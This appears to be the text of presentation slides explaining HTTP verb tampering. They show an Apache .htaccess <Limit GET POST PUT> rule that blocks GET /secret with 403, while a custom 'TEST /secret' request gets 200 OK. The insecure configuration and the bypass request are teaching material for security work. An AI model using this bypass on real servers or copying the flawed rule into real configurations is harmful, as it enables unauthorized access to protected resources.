
HTTP Verb Tampering



What is it?
Basic methods 
• HEAD 
• POST 
• GET 
• PUT 
• DELETE 
• TRACE 
• CONNECT

<Limit GET POST PUT> 
order deny,allow 

deny from all 
allow from 127.0.0.1 

</Limit>

Example .htaccess



What about the other methods?
A few more methods 
• PROPFIND 
• PROPPATCH 
• MKCOL 
• COPY 
• MOVE 
• LOCK 
• UNLOCK 
• Custom methods

<Limit GET POST PUT> 
order deny,allow 

deny from all 
allow from 127.0.0.1 

</Limit>

Example .htaccess



Exploitation

Web Application

.htaccess

user

GET / HTTP/1.1

200 OK



Web Application

GET  /secret HTTP/1.1

user

<Limit GET POST PUT> 
order deny,allow 

deny from all 
allow from 127.0.0.1 

</Limit>

403 FORBIDDEN

.htaccess

Exploitation



Web Application

TEST  /secret HTTP/1.1

user

<Limit GET POST PUT> 
order deny,allow 

deny from all 
allow from 127.0.0.1 

</Limit>

200 OK

.htaccess

Exploitation


